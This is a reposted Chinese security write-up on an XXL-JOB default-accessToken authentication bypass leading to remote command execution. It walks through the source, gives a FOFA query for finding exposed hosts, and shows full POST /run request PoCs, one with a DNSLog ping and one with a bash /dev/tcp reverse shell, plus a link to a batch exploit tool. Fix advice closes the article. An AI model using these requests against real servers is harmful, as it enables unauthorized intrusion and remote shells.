XXL-JOB 默认 accessToken 身份绕过 RCE 漏洞分析及复现

admin 2025年1月28日14:53:30评论66 views字数 3573阅读11分54秒阅读模式
 

日期:2025 年 1 月 23 日

作者:hdsec

介绍:XXL-JOB 默认 accessToken 身份认证绕过造成 RCE 漏洞。

0x00 前言

XXL-JOB是一个分布式任务调度平台,常用于定时任务管理和调度。accessToken用于身份认证,确保只有合法用户能访问和操作任务。然而,默认配置或实现中的缺陷可能导致认证机制失效。

XXL-JOB 默认 accessToken 身份绕过 RCE 漏洞分析及复现

0x01 漏洞成因

默认accessToken:系统安装后可能使用默认accessToken,若未及时修改,攻击者可利用默认值绕过认证。

accessToken验证缺失:某些接口或功能可能未正确验证accessToken,导致攻击者无需有效token即可访问。

accessToken泄露:accessToken可能通过日志、错误信息等途径泄露,攻击者可利用其绕过认证。

0x02 影响版本

2.31< XXL-JOB <= 2.4.0

0x03 漏洞分析

简单对该漏洞进行分析一下~

漏洞环境:

https://github.com/xuxueli/xxl-job/releases/tag/2.4.0

下图是在配置文件中的默认值,由于很多人在使用该框架的时候并未修改其默认的值xxl.job.accessToken=default_token,攻击者可利用默认值绕过认证,执行任意代码,从而获取服务器权限。

XXL-JOB 默认 accessToken 身份绕过 RCE 漏洞分析及复现
get(XxlJobRemotingUtil.XXL_JOB_ACCESS_TOKEN); 获取用户输入的XXL_JOB_ACCESS_TOKEN值。

XXL-JOB 默认 accessToken 身份绕过 RCE 漏洞分析及复现
判断传入的accessToken是不是null且不为空,和配置文件中的accessToken是否相等,如果不相等,则返回FAIL_CODE

XXL-JOB 默认 accessToken 身份绕过 RCE 漏洞分析及复现
找到程序入口。

XXL-JOB 默认 accessToken 身份绕过 RCE 漏洞分析及复现
TriggerParam triggerParam = GsonTool.fromJson(requestData, TriggerParam.class);return executorBiz.run(triggerParam);
JSON格式的字符串requestData反序列化为TriggerParam对象。将解析后的任务参数传递给执行器executorBiz,调用其run方法执行任务。

跟进TriggerParam这个类,确定需要传递的参数。

XXL-JOB 默认 accessToken 身份绕过 RCE 漏洞分析及复现
跟进run方法,这段代码是任务调度系统中任务执行的核心逻辑,包括:加载或初始化任务线程和处理器、根据任务类型校验任务处理器、处理任务阻塞策略、注册任务线程、推送任务到队列。

XXL-JOB 默认 accessToken 身份绕过 RCE 漏洞分析及复现
继续跟进jobThread,如果无超时控制,直接执行任务。

XXL-JOB 默认 accessToken 身份绕过 RCE 漏洞分析及复现
跟进execute()

glueType.isScript(),检查任务类型是否为脚本类型(如 GLUE_SHELL、GLUE_PYTHON 等)。

String cmd = glueType.getCmd(); 获取脚本类型对应的执行命令,后续将执行的命令写入脚本文件。

int exitValue = ScriptUtil.execToFile(cmd, scriptFileName, logFileName, scriptParams); 调用系统命令执行脚本文件,并将执行日志输出到指定日志文件并执行脚本文件。

当攻击者构造恶意的执行命令,就会导致RCE漏洞。详情可见下文漏洞复现。

XXL-JOB 默认 accessToken 身份绕过 RCE 漏洞分析及复现

0x04 漏洞复现

fofa语句:

"invalid request, HttpMethod not support"&& port="9999"或者body="{"code":500,"msg":"invalid request, HttpMethod not support."}"| fofax -fs 10000-e>xxl-job.txt
在抓取的请求头加上XXL-JOB-ACCESS-TOKEN: default_token

利用下面的请求POC可以进行DNSLog探测。

POST /run HTTP/1.1Host: x.x.x.x:9999User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Connection: closeXXL-JOB-ACCESS-TOKEN: default_tokenUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Content-Length: 378{"jobId": 1,"executorHandler""demoJobHandler","executorParams""demoJobHandler","executorBlockStrategy""COVER_EARLY","executorTimeout": 0,"logId": 1,"logDateTime": 1586629003729,"glueType""GLUE_SHELL","glueSource""ping x.ceye.io",      "glueUpdatetime": 1586699003758,"broadcastIndex": 0,"broadcastTotal": 0}
XXL-JOB 默认 accessToken 身份绕过 RCE 漏洞分析及复现

还可以利用 bash -i >& /dev/tcp/监听IP/监听端口 0>&1 进行反弹shell等操作。

POST /run HTTP/1.1Host: x.x.x.x:9999User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Connection: closeXXL-JOB-ACCESS-TOKEN: default_tokenUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Content-Length: 365{"jobId": 1,"executorHandler""demoJobHandler","executorParams""demoJobHandler","executorBlockStrategy""COVER_EARLY","executorTimeout": 0,"logId": 1,"logDateTime": 1586629003729,"glueType""GLUE_SHELL","glueSource""bash -i >& /dev/tcp/监听IP/监听端口 0>&1",      "glueUpdatetime": 1586699003758,"broadcastIndex": 0,"broadcastTotal": 0}

0x05 批量漏洞挖掘

使用fofaEX等工具进行批量搜集,再使用如下工具进行批量漏洞验证:

https://github.com/charonlight/xxl-jobExploitGUI
XXL-JOB 默认 accessToken 身份绕过 RCE 漏洞分析及复现

0x06 修复建议

1

修改默认 accessToken

安装后立即修改默认accessToken,确保其复杂性。

2

加强 accessToken 验证

确保所有接口和功能都严格验证accessToken。

3

防止 accessToken 泄露

避免在日志或错误信息中记录accessToken,并定期更换。

4

更新版本

及时更新XXL-JOB,修复已知漏洞。

XXL-JOB 默认 accessToken 身份绕过 RCE 漏洞分析及复现

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

点此亲启

 

原文始发于微信公众号(宸极实验室):『漏洞复现』XXL-JOB 默认 accessToken 身份绕过 RCE 漏洞分析及复现

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月28日14:53:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XXL-JOB 默认 accessToken 身份绕过 RCE 漏洞分析及复现https://cn-sec.com/archives/3666709.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息